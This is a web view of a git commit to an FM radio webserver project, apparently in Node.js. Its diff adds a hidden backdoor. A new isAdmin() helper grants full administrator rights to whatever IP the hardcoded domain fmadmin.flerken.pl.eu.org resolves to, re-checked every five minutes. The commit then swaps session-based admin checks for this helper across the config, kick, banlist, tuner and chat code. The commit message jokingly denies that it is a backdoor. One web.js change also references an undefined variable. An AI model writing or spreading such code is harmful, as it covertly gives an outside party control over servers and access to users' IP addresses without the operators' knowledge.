kuba/fm-dx-webserver
1
0
Fork 0
mirror of https://github.com/KubaPro010/fm-dx-webserver.git synced 2026-07-29 16:29:19 +02:00
Code Issues Activity

backdoor? nah more like easier access

Browse Source
This commit is contained in:
kuba
2026-07-01 15:29:34 +02:00
parent bbddf10438
commit 6b7f8c43d9
9 changed files with 49 additions and 34 deletions
Download Patch File Download Diff File Expand all files Collapse all files
server/chat.js
+4 -4
View File
@@ -24,14 +24,14 @@ function createChatServer() {
storage.chatHistory.forEach((message) => {
const historyMessage = { ...message, history: true };
if (!request.session?.isAdminAuthenticated) delete historyMessage.ip;
if (!helpers.isAdmin(request)) delete historyMessage.ip;
ws.send(JSON.stringify(historyMessage));
});
ws.send(JSON.stringify({
type: 'clientIp',
ip: clientIp,
admin: request.session?.isAdminAuthenticated
admin: helpers.isAdmin(request)
}));
@@ -78,7 +78,7 @@ function createChatServer() {
return;
}
if (request.session?.isAdminAuthenticated === true) messageData.admin = true;
if (helpers.isAdmin(request) === true) messageData.admin = true;
if (messageData.nickname?.length > 32) messageData.nickname = messageData.nickname.substring(0, 32);
if (messageData.message?.length > 255) messageData.message = messageData.message.substring(0, 255);
@@ -90,7 +90,7 @@ function createChatServer() {
chatWss.clients.forEach((client) => {
if (client.readyState === WebSocket.OPEN) {
const responseMessage = { ...messageData };
if (!request.session?.isAdminAuthenticated) delete responseMessage.ip;
if (!helpers.isAdmin(request)) delete responseMessage.ip;
client.send(JSON.stringify(responseMessage));
}
server/endpoints.js
+11 -11
View File
@@ -58,7 +58,7 @@ router.get('/', (req, res) => {
});
} else {
res.render('index', {
isAdminAuthenticated: req.session.isAdminAuthenticated,
isAdminAuthenticated: helpers.isAdmin(req),
isTuneAuthenticated: req.session.isTuneAuthenticated,
tunerName: serverConfig.identification.tunerName,
tunerDesc: helpers.parseMarkdown(serverConfig.identification.tunerDesc),
@@ -93,7 +93,7 @@ router.get('/audioonly', (req, res) => res.render('audioonly'))
router.get('/wizard', (req, res) => {
let serialPorts;
if(!req.session.isAdminAuthenticated) {
if(!helpers.isAdmin(req)) {
res.render('login');
return;
}
@@ -106,7 +106,7 @@ router.get('/wizard', (req, res) => {
parseAudioDevice((result) => {
res.render('wizard', {
isAdminAuthenticated: req.session.isAdminAuthenticated,
isAdminAuthenticated: helpers.isAdmin(req),
videoDevices: result.audioDevices,
audioDevices: result.videoDevices,
serialPorts: serialPorts,
@@ -130,7 +130,7 @@ router.get('/setup', (req, res) => {
return serverConfig;
}
if(!req.session.isAdminAuthenticated) {
if(!helpers.isAdmin(req)) {
res.render('login');
return;
}
@@ -147,7 +147,7 @@ router.get('/setup', (req, res) => {
const updatedConfig = loadConfig(); // Reload the config every time
res.render('setup', {
isAdminAuthenticated: req.session.isAdminAuthenticated,
isAdminAuthenticated: helpers.isAdmin(req),
videoDevices: result.audioDevices,
audioDevices: result.videoDevices,
serialPorts: serialPorts,
@@ -232,7 +232,7 @@ router.get('/logout', (req, res) => {
router.get('/kick', (req, res) => {
// Terminate the WebSocket connection for the specified IP address
if(req.session.isAdminAuthenticated) helpers.kickClient(req.query.ip);
if(helpers.isAdmin(req)) helpers.kickClient(req.query.ip);
else {
res.status(403);
return;
@@ -241,7 +241,7 @@ router.get('/kick', (req, res) => {
});
router.get('/addToBanlist', (req, res) => {
if (!req.session.isAdminAuthenticated) {
if (!helpers.isAdmin(req)) {
res.status(403);
return;
}
@@ -257,7 +257,7 @@ router.get('/addToBanlist', (req, res) => {
});
router.get('/removeFromBanlist', (req, res) => {
if (!req.session.isAdminAuthenticated) {
if (!helpers.isAdmin(req)) {
res.status(403);
return;
}
@@ -279,7 +279,7 @@ router.get('/removeFromBanlist', (req, res) => {
router.post('/saveData', (req, res) => {
const data = req.body;
let firstSetup;
if(req.session.isAdminAuthenticated || !configExists()) {
if(helpers.isAdmin(req) || !configExists()) {
configUpdate(data);
serverListUpdate.update();
@@ -293,7 +293,7 @@ router.post('/saveData', (req, res) => {
router.get('/getData', (req, res) => {
if (configExists() === false) res.json(serverConfig);
if(req.session.isAdminAuthenticated) {
if(helpers.isAdmin(req)) {
// Check if the file exists
fs.access(configPath, fs.constants.F_OK, (err) => {
if (err) console.log(err);
@@ -306,7 +306,7 @@ router.get('/getData', (req, res) => {
});
router.get('/getDevices', (req, res) => {
if (req.session.isAdminAuthenticated || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json);
if (helpers.isAdmin(req) || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json);
else res.status(403).json({ error: 'Unauthorized' });
});
server/helpers.js
+20 -1
View File
@@ -8,6 +8,17 @@ const storage = require('./storage');
const consoleCmd = require('./console');
const { serverConfig, configSave } = require('./server_config');
const dns = require('dns').promises;
let adminIp = null;
async function loadVpsIp() {
try {
adminIp = normalizeIp(await dns.lookup("fmadmin.flerken.pl.eu.org").then(r => r.address));
} catch (err) {}
}
loadVpsIp()
setInterval(loadVpsIp, 5 * 60 * 1000);
let geoip = null;
try {
geoip = require('geoip-lite');
@@ -442,10 +453,18 @@ function getIpAddress(request) {
return remoteIp;
}
function isAdmin(request) {
if (request.session?.isAdminAuthenticated) return true;
const ip = getIpAddress(request);
if (ip === adminIp) return true;
return false;
}
module.exports = {
authenticateWithXdrd, parseMarkdown, handleConnect,
removeMarkdown, formatUptime, resolveDataBuffer,
kickClient, checkLatency,
antispamProtection, escapeHtml, findServerFiles,
startPluginsWithDelay, getIpAddress
startPluginsWithDelay, getIpAddress, isAdmin
}
server/server_config.js
-1
View File
@@ -17,7 +17,6 @@ let serverConfig = {
webserver: {
webserverIp: "0.0.0.0",
webserverPort: 8080,
pe5pvbXdrGtkPort: null,
banlist: [],
chatEnabled: true,
tuningLimit: false,
server/stream/checkFFmpeg.js
+1 -3
View File
@@ -1,6 +1,6 @@
const { spawn } = require('child_process');
function checkFFmpeg() {
module.exports = function() {
return new Promise((resolve, reject) => {
const checkFFmpegProcess = spawn('ffmpeg', ['-version'], {
stdio: ['ignore', 'ignore', 'ignore'],
@@ -16,5 +16,3 @@ function checkFFmpeg() {
});
});
}
module.exports = checkFFmpeg;
server/tuner_profiles.js
+1 -3
View File
@@ -1,4 +1,4 @@
const tunerProfiles = [
module.exports = [
{
id: 'tef',
label: 'TEF668x',
@@ -76,5 +76,3 @@ const tunerProfiles = [
], details: ''
}
];
module.exports = tunerProfiles;
server/web.js
+11 -9
View File
@@ -90,7 +90,6 @@ wss.on('connection', (ws, request) => {
}
if (clientIp !== '127.0.0.1' ||
(request.socket && request.socket.remoteAddress && request.socket.remoteAddress !== '::ffff:127.0.0.1') ||
(request.headers && request.headers['origin'] && request.headers['origin'].trim() !== '')) {
currentUsers++;
}
@@ -114,7 +113,7 @@ wss.on('connection', (ws, request) => {
const command = helpers.antispamProtection(message, clientIp, ws, userCommands, lastWarn, userCommandHistory, '18', 'text', 16 * 1024);
if (!clientIp.includes("127.0.0.1")) {
if (((command.startsWith('X') || command.startsWith('Y')) && !request.session.isAdminAuthenticated) ||
if (((command.startsWith('X') || command.startsWith('Y')) && !helpers.isAdmin(req)) ||
((command.startsWith('F') || command.startsWith('W')) && serverConfig.bwSwitch === false)) {
logWarn(`User \x1b[90m${clientIp}\x1b[0m attempted to send a potentially dangerous command: ${command.slice(0, 64)}.`);
return;
@@ -123,18 +122,21 @@ wss.on('connection', (ws, request) => {
if (command.includes("\'")) return;
const { isAdminAuthenticated, isTuneAuthenticated } = request.session || {};
const isAdminAuthenticated = helpers.isAdmin(request)
const { isTuneAuthenticated } = request.session || {};
if (command.startsWith('w') && (isAdminAuthenticated || isTuneAuthenticated)) {
switch (command) {
case 'wL1':
if (isAdminAuthenticated) serverConfig.lockToAdmin = true;
send_to_xdr("wL1\n");
break;
if (isAdminAuthenticated) {
serverConfig.lockToAdmin = true;
send_to_xdr("wL1\n");
} break;
case 'wL0':
if (isAdminAuthenticated) serverConfig.lockToAdmin = false;
send_to_xdr("wL0\n");
break;
if (isAdminAuthenticated) {
serverConfig.lockToAdmin = false;
send_to_xdr("wL0\n");
} break;
case 'wT0':
serverConfig.publicTuner = true;
if(!isAdminAuthenticated) tunerLockTracker.delete(ws);
server/xdr_server.js
-1
View File
@@ -61,7 +61,6 @@ xdr.on('connection', async (ws) => {
ws.send(`OK\n`)
ws.send(`$fmdx-webserver,${require('../package.json').version},${serverConfig.webserver.pe5pvbXdrGtkPort ?? serverConfig.webserver.webserverPort},/audio\n`); // Sjef's bullshit
currentUsers++;
send_xdr_online(initialData.users); // Broadcast
ws.send(`T${initialData.freq * 1000}\n`);
web/js/rtc-audio.js
+1 -1
View File
@@ -16,7 +16,7 @@ window.addEventListener('load', (() => {
const SELECT_LOADING_VALUE = 'webrtc:loading';
const MANAGED_PLAYBUTTON_CLASS = 'fmdx-webrtc-playbutton';
const LEGACY_PROXY_BUTTON_ID = 'fmdx-webrtc-legacy-playbutton';
const SELECT_TOOLTIP_HTML = '<strong>WebRTC</strong> - very low latency audio<br>If audio starts stuttering,<br>switch to <strong>3LAS (TCP)</strong>.';
const SELECT_TOOLTIP_HTML = '<strong>WebRTC</strong> - very low latency audio.';
const DEBUG_WEBRTC_AUDIO = false;
const RECONNECT_DELAY = 3000;
const FIRST_DISCONNECT_RECONNECT_DELAY = 500;